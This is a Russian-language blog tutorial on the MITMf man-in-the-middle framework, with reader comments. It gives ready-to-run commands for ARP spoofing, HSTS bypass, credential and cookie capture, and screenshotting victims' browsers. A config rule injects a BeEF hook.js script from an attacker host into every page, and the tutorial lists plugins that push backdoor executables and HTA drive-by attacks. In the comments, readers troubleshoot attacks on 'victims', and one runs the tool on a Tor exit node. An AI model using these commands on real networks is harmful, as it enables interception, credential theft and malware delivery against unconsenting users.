Инструкция по использованию MITMf


Инструкция по использованию MITMf

MITMf — это фреймворк для атак человек-посередине (Man-In-The-Middle). MITMf предназначен для тех же задач, что и Ettercap. Только работа в MITMf, по сравнению с Ettercap, проще.

В инструкции по Ettercap я уже упоминал MITMf. Также при использовании Ettercap для атаки человек-посередине мы практически каждый раз запускали ещё одну или несколько программ, поскольку базовой функциональности Ettercap нам не хватало. С MITMf такого не будет – теперь только одна консоль, в которой только один фреймворк.

На самом деле, мы встретим практически всех наших знакомых из инструкции по Ettercap:

Но здесь все они являются модулями, которые запускаются опциями командной строки или через API.

Кстати, здесь вы найдёте не только обзор плагинов, сюда добавлен материал, который отсутствует даже в официальной документации.

Установка MITMf

Ранее программа работала только при установке из исходников. Судя по всему, в последнее время ситуация изменилась, и установленная из репозиториев программа успешно запускается. В Kali Linux сначала попробуйте так:

sudo apt-get install mitmf mitmflib
sudo mitmf --help

Если ошибок нет и показана справка, значит не нужно устанавливать из исходников, как это показано чуть ниже. В этом случае sudo python mitmf.py из моих примеров нужно заменять на mitmf. Сразу переходите к разделу "Начало работы с MITMf".

Далее показан процесс установки из исходный кодов — теперь это только для тех, у кого не работает версия из стандартных репозиториев.

Следующие инструкции являются результатом чтения официальной документации, а также метода проб и ошибок. Нужно делать именно так, как в них написано – тогда точно заработает.

В Kali Linux если вы работаете из-под рута, то устанавливать и запускать программу нужно так:

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents 
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

— переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

— далее:

source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Если вы работаете под обычным пользователем, то нужно делать так:

sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

— переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

— далее:

sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Начало работы с MITMf

Давайте начнём с чего-нибудь совсем простого и весёлого.

Практически с каждой командой мы будем использовать одни и те же четыре опции. Первой из них является -i, после которой нужно указать свой сетевой интерфейс (например, eth0). Если вы не знаете имя сетевого интерфейса на вашем компьютере, то посмотрите его командой:

ip a

Также мы будем использовать два ключа —spoof —arp. Первый означает загрузить плагин 'Spoof'. А второй – перенаправить трафик используя ARP спуфинг. Это аналогично тому, как мы начинали атаку с Ettercap. Ещё мы будем использовать опцию —gateway, после которой нужно указать адрес шлюза. Обычно это IP адрес роутера. Чаще всего это адрес 192.168.1.1 или 192.168.0.1. Если вы не уверены, то посмотрите его командой


ip r

Итак, в своём базовом варианте команда в моём случае выглядит так:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1

В дальнейшем к ней я буду только добавлять разные опции для включения разнообразных плагинов.

В принципе, можно уже и запустить:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1

Как видим, программа работает и мы перехватили базовую аутентификацию:

01

Кстати, не нужно запускать отдельно Net-Creds – он уже встроен в MITMf.

Давайте остановим программу и сделаем что-нибудь наглядное. Например, перевернём изображения на всех сайтах (кроме тех, кто использует HTTPS). Для этого к нашей команде добавим ключ —upsidedownternet.

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --upsidedownternet

Теперь в логах появляются записи вроде такой:

2016-06-19 09:17:29 192.168.1.33 [type:Chrome-51 os:Windows] [Upsidedownternet] Flipped image

А веб-сайты выглядят так:

02

03

Частичный обход HSTS

Для этого достаточно добавить два ключа —dns —hsts. Команда приобретает вид:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts

Чтобы получить перевёрнутые изображения даже на сайтах с HTTPS:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --upsidedownternet

Как и другие, опции —dns —hsts можно комбинировать с другими плагинами.

Вставка произвольного содержимого в веб-страницы

Для этого имеется плагин Inject с разнообразными опциями. Для загрузки плагина нам нужно указать —inject, а также дополнительно следующие ключи:


  --js-url JS_URL       URL JS для инжекта
  --js-payload JS_PAYLOAD
                        JS строка для инжекта
  --js-file JS_FILE     Файл, содержащий JS для инжекта
  --html-url HTML_URL   URL HTML для инжекта
  --html-payload HTML_PAYLOAD
                        HTML строка для инжекта
  --html-file HTML_FILE
                        Файл, содержащий HTML для инжекта
  --per-domain          Вставить один раз на домен для одного клиента.
  --rate-limit RATE_LIMIT
                        Вставить один раз каждые RATE_LIMIT секунд на одного клиента.
  --count-limit COUNT_LIMIT
                        Вставить только COUNT_LIMIT раз на одного клиента.
  --white-ips IP        Вставить контент ТОЛЬКО для этих IP (разделять запятыми)
  --black-ips IP        НЕ вставлять содержимое для этих IP (разделять запятыми)
  --white-domains ДОМЕНЫ
                        Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)
  --black-domains ДОМЕНЫ
                        НЕ вставлять контент для этих доменов (разделять запятыми)

Например, я хочу вставить во все сайты строку <p>I am cool!</p>. Тогда моя комоанда имеет вид:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --inject --html-payload '<p>I am cool!</p>'

Подцепление программой BeEF делается следующим образом (не забудьте отредактировать данные под ваши значения):

--js-url http://beef:3000/hook.js

Захват кукиз

Для этого имеется плагин Ferret-NG, который запускается опцией —ferretng. Например:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --ferretng

Создание скриншотов сайтов

Плагин ScreenShotter использует HTML5 Canvas для отображения точного скриншота клиентских браузеров. Плагин загружается опцией —screen:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --screen

С помощью дополнительной опции —interval можно указать интервал в секундах для создания скриншотов (по умолчанию 10).


Заражение бэкдорами

Для этого есть целых три плагина (плюс можно придумать собственные атаки через инжект в HTML код различного содержимого). Это плагины:

  • FilePwn (Будет отправлен исполнимый бэкдор через http используя bdfactory)
  • BrowserSniper (Выполняет атаки на клиенты легендой об устаревшем плагине браузера)
  • HTA Drive-By (Выполнить атаку с HTA на клиентах)

На мой взгляд, автор MITMf уже сделал всё возможное для того, чтобы использование плагинов в фреймворке было весьма простым. Думаю, на этом можно остановиться в характеристике плагинов. Полный их список, а также список доступных опций и дополнительные примеры вы найдёте в карточке программы MITMf в Энциклопедии инструментов для тестирования на проникновение (Kali.Tools).

Куда MITMf сохраняет захваченные данные и изображения

Абсолютно всё полезное (даже то, чего вы не ждали, например, DNS запросы) MITMf сохраняет в поддиректорию logs в своей директории (например, у меня это /home/mial/bin/MITMf/logs/).

Настройка MITMf

В поддиректории config вы найдёте несколько файлов с настройками. Большинство опций можно поменять в командной строке, но некоторые удобнее отредактировать там. Кроме основного конфигурационного файла MITMf, там вы найдёте файлы для Responder и пример файла для HTA Drive-By.

В основном файле настроек MITMf (mitmf.conf) вы можете поменять значения для BeEF (хост, порт, имя и пароль), Metasploit (хост, порт, пароль), MITMf-API (хост, порт), DNS (добавить разнообразные записи для спуфинга DNS ответов) и другие настройки для разнообразных плагинов, входящих в фреймворк MITMf.

04

Замена HTML при атаке человек-посередине

Для замены содержимого веб-страниц имеется плагин Replace. Он активируется опцией —replace, а настраивается в файле mitmf.conf. В этом файле уже есть два правила:

	[Replace]
	
	[[Regex1]]
		'Google Search' = '44CON'

	[[Regex2]]
		"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"

Вот результат их работы:

06

В инструкции по Ettercap я приводил три примера замены: замена заголовка, добавление данных и подцепление BeEF. Все три примера можно реализовать следующими строками:


	[[Regex3]]
		"<title>.*</title>" = "<title>No Title</title>"

	[[Regex4]]
		"<body.*?>" = "<body><p>I am cool!</p>"

	[[Regex5]]
		"</head>" = "<script src="http://192.168.1.36:3000/hook.js"></head>"

Здесь можно использовать регулярные выражения для поиска.

API MITMf

Чтобы включить или отключить какой-либо плагин, вам не нужно перезапускать MITMf, это можно сделать с использованием API. Для получения списка активных и неактивных плагинов запросите страницу http://127.0.0.1:9999/ Это можно сделать открыв её в браузере или в командной строке:

curl http://127.0.0.1:9999/

Чтобы получить статус какого-то конкретного плагина, то можно сделать так, открыть в браузере страницу

http://127.0.0.1:9999/имя_плагина

Например, http://127.0.0.1:9999/Spoof

А также так:

curl http://127.0.0.1:9999/Spoof

Добавляя через слеш нолики и единички можно, соответственно, отключать и включать любые плагины:

curl http://127.0.0.1:9999/Spoof/0
curl http://127.0.0.1:9999/Spoof/1

05

Фильтры MITMf

В MITMf с помощью плагинов Inject и Replace можно реализовать практически всё, что обычно требуется при вставке/замене HTML. Тем не менее, это не всё! Теперь с помощью Scapy вы можете модифицировать любой пакет/протокол, которые перехватывает MITMf! Более того, вы можете изменять фильтры на лету – без перезапуска MITMf.

Scapy даёт потрясающую гибкость и, пожалуй, безграничные возможности (конечно, если вы умеете пользоваться Scapy).

В качестве примере возьмём крошечный глупый фильтр, который изменяет IP назначения ICMP пакетов:

if packet.haslayer(ICMP):
    log.info('Got an ICMP packet!')
    packet.dst = '192.168.1.0'
  • Используйте переменную packet для доступа к пакетам в формате совместимым с Scapy
  • Используйте переменную data для доступа к сырым данным пакета

Для использования фильтра нужно сделать так:

python mitmf.py -F ~/filter.py

Скорее всего вы захотите комбинировать это с плагином Spoof для действительного перехвата пакетов от кого-то ещё 😉

Решение проблем и ошибок при запуске MITMf

Решение проблемы «Error starting HTTP server: [Errno 98] Address already in use»

Если при запуске MITMf вы видите сообщение:

Error starting HTTP server: [Errno 98] Address already in use

Оно означает, что на вашей системе уже запущен веб-сервер. Этим веб-сервером может быть Apache, hostapd, Nginx. Даже если вы не помните, что устанавливали какой-либо из них, это могло произойти при установке зависимостей для других инструментов. К примеру, пакет hostapd является зависимостью для airgeddon, Fluxion, linset (и других). Если вы используете VPS и готовую установку одного из дистрибутивов, то обычно в них уже предустановлен веб-сервер.

Если вы знаете название веб-сервера, то его можно остановить командой:

sudo systemctl stop название_слулжбы_веб_сервера

Для Apache в Kali Linux / Debian / Ubuntu / Linux Mint это делается командой:

sudo systemctl stop apache2.service

Для Apache в Arch Linux / BlackArch это делается командой

sudo systemctl stop httpd.service

Если вы не знаете название веб-сервера, то проверьте, какая команда прослушивает 80й порт:

sudo ss -pnat

Найдите запись, содержащую :::80 (здесь может быть также указан конкретный IP адрес вашего компьютера):

LISTEN     0      128                             :::80                                          :::*                   users:(("apache2",pid=9238,fd=4),("apache2",pid=9237,fd=4),("apache2",pid=9236,fd=4),("apache2",pid=9235,fd=4),("apache2",pid=9234,fd=4),("apache2",pid=9233,fd=4),("apache2",pid=9194,fd=4))

Ещё пример:

LISTEN     0      128                                                                :::80                                                                             :::*                   users:(("httpd",pid=29253,fd=4),("httpd",pid=21426,fd=4),("httpd",pid=20863,fd=4),("httpd",pid=19910,fd=4),("httpd",pid=19078,fd=4),("httpd",pid=6671,fd=4),("httpd",pid=6665,fd=4),("httpd",pid=6510,fd=4),("httpd",pid=6242,fd=4),("httpd",pid=6239,fd=4),("httpd",pid=6235,fd=4),("httpd",pid=6234,fd=4),("httpd",pid=341,fd=4))

Как видно, в первом случае служба называется apache2, во втором – httpd. Т.е. именно их нужно остановить командой:

sudo systemctl stop название_слулжбы_веб_сервера

Решение проблемы с ошибкой «Couldn't listen on any:10000: [Errno 98] Address already in use.»

Если при запуске MITMf вы видите ошибку:

Couldn't listen on any:10000: [Errno 98] Address already in use.

Это означает, что уже запущен другой экземпляр MITMf.

Простой способ – перезагрузить компьютер и снова попробовать запустить MITMf.

Правильный способ, это закрыть процесс без перезагрузки компьютера. Выполните команду:

sudo ss -pnat

Появятся записи о прослушиваемых портах, программах и их pid. Найдите записи с MITMf. Пример:

LISTEN     0      5                     192.168.0.69:445                                          *:*                   users:(("mitmf.py",pid=6986,fd=38))
LISTEN     0      5                     192.168.0.69:139                                          *:*                   users:(("mitmf.py",pid=6986,fd=39))
LISTEN     0      128                      127.0.0.1:9999                                         *:*                   users:(("mitmf.py",pid=6986,fd=32))
LISTEN     0      5                     192.168.0.69:80                                           *:*                   users:(("mitmf.py",pid=6986,fd=33))
LISTEN     0      50                               *:10000                                        *:*                   users:(("mitmf.py",pid=6986,fd=13))

И закройте их все командой kill. Пример для моего случая:

sudo kill 6986

Заключение

Инструкция получилась не слишком большой (я рад!), но это не означает, что у MITMf маленькая функциональность. Напротив, с MITMf мы может сделать абсолютно всё, для чего в Ettercap нам нужны были разнообразные программы. И даже больше! После понимания принципов работы MITMf, работа с ним становиться интуитивно понятной и достаточно обычной справки, чтобы освоить новый плагин.


Рекомендуется Вам:

15 комментариев to Инструкция по использованию MITMf

  1. pocoz:

    Спасибо большое! Человечище!

  2. SQuad:

    А чтобы немного упростить себе жизнь и не писать такую штуку

    source /usr/local/bin/virtualenvwrapper.sh

    mkvirtualenv MITMf -p /usr/bin/python2.7

    python mitmf.py "$@"

    можно переписать /usr/bin/mitmf этими же строчками.

    Тогда запуск снова будет происходить одной командой

    • Alexey:

      И даже этого уже не нужно — у меня теперь в и в Kali Linux, и в BlackArch запускается по

      sudo mitmf --help

      Судя по всему — доработали. Опять нужно переписывать справку и инструкцию frown

  3. Спасибо за отличный сайт и за прекрасные статьи. Только начинаю изучать возможности кали, и Ваш сайт просто находка! Собственно у меня возникли некоторые пробелмы, сперва хотел перевернуть картинки в локальной сети, к сожалению выдал ошибки:

    Нашёл собственно и решение данной проблемы: 

    Можно либо посмотреть на гитхабе: ССЫЛКА

    Либо сделать следующее: (Моя система кали 2016) пути возможно могут отличаться. 

    nano /user/share/mitmf/plugins/upsidedownternet.py

    Далее находим строку с содержимым (ctrl+w)

    self.imageType = response.headers['content-type'].split('/')[1].upper()

    И изменяем её до вида:

    self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()

    Сохраняем (ctrl+x     y)  и после этого можем запускать mitmf для переворачивания изображений. Как я понял, там сейчас много косяков всплыло с плагинами. Алексей, вот Вам тема для следующей короткой статьи! Как вернуть работоспособность этого прекрасного фреймворка)) 

  4. Igor:

    При запуске вот так:

    [*] MITMf v0.9.8 — 'The Dark Side'
    |_ Spoof v0.6
    |  |_ DNS spoofing enabled
    |  |_ ARP spoofing enabled
    |_ SSLstrip+ v0.4
    |  |_ SSLstrip+ by Leonardo Nve running
    |
    |_ Sergio-Proxy v0.2.1 online
    |_ SSLstrip v0.9 by Moxie Marlinspike online
    |
    |_ Net-Creds v1.0 online
    |_ MITMf-API online
    Error starting HTTP server: [Errno 98] Address already in use
    |_ HTTP server online
     * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
    |_ DNSChef v0.4 online
    |_ SMB server online

    Что значит "Error starting HTTP server: [Errno 98] Address already in use" и как это исправить?

    Спасибо.

    • Alexey:

      Возможно, у вас уже запущен другой веб-сервер (Apache, например). Новый процесс не может привязаться на этот же порт.

      Завтра попробую так сделать и напишу точно.

      • Igor:

        Запускаю на VPS с запущенной TOR exit node. Что нужно изменить чтобы Mitmf запускался и работал?
        Спасибо.

        • Alexey:

          Удалось добиться получение ошибки как у вас. Дописал эту статью, смотрите раздел "Решение проблем и ошибок при запуске MITMf".

          Как я и думал — это веб-сервер, который обычно уже предустановлен в VPS для удобства пользователей (обычно VPS арендуют для хостинга и в любом случае ставят веб-сервера).

  5. Антон:

    Здравствуйте, а у меня вот какая проблема. Все запускается отлично, но не работает ничего, подключено к wifi 4 устройства, 2 тел. и планшет, но mitmf не отображает их действия, кроме этого интернет перестает на компе работать. Показывает только 127.0.0.1 — — [05/Nov/2017 08:29:08] "GET / HTTP/1.1" 200 и все

    • кукумария:

      такая же фигня причем на попытку снять скриншот  пишет [DNS] Could not proxy request: time out

      стоит попугай причем ради этого спецом переустановил полностью ОС только ради этого, на голой системе но со всеми обновлениями все одно и тоже. Интернет рубиться и пишеться то что выше

      • Дан:

        программа сырая .. тоже такая хрень .. 1.перезапускаю каждый раз адаптар.. 2.тоже при повторном запуске ошыбка Couldn't listen on any:10000: [Errno 98] Address already in use. помогает lsof -t -i:10000 потом kill -9 Номер_процеса 3. многие команд не действуют на андроид..

         

        нета нету но ужертвы

  6. Anton:

    upsidedownternet object has no attribute image type

  7. Dmitry:

    pip install -r requirements.txt

    после этой команды выводит следующую ошибку
    Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-install-3DTOwB/pypcap/

  8. Александр:

    Всем привет. Только что нашёл этот сайт и возможно именно здесь мне помогут решить проблемую. Когда я запускаю mitm атаку через данный фреймворк на свой старенький ноутбук, то на нём пропадает подключение к интернету. Пробывал прописывать echo "1" >/proc/sys/net/ipv4/ip_forward для того чтобы пакеты проходили через атакующее устройство, но это не помогает. В чём может быть проблема и как её можно решить? 

  9. Mr Robot:

    При запуске атаки ошибка [DNS] Could not proxy request: timed out. У жертвы интернет отваливается. Подскажите что сделать можно?

Добавить комментарий для Igor Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *